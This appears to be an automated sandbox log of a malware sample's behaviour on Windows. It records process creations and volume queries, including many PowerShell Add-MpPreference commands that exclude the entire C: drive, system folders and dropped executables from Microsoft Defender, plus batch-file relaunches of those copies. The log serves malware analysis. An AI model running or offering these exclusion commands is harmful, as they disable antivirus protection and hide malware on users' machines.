Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\01YP9Lwum8.exe'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Tasks\explorer.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\01YP9Lwum8.exe'	Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.cmdline"	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Tasks\explorer.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\01YP9Lwum8.exe'	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\htnlvXarKJ.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4E71.tmp" "c:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe "C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe"
Source: C:\Windows\Tasks\explorer.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\FfDOv2d6gz.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Queries volume information: C:\Users\user\Desktop\01YP9Lwum8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Queries volume information: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe VolumeInformation	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Queries volume information: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
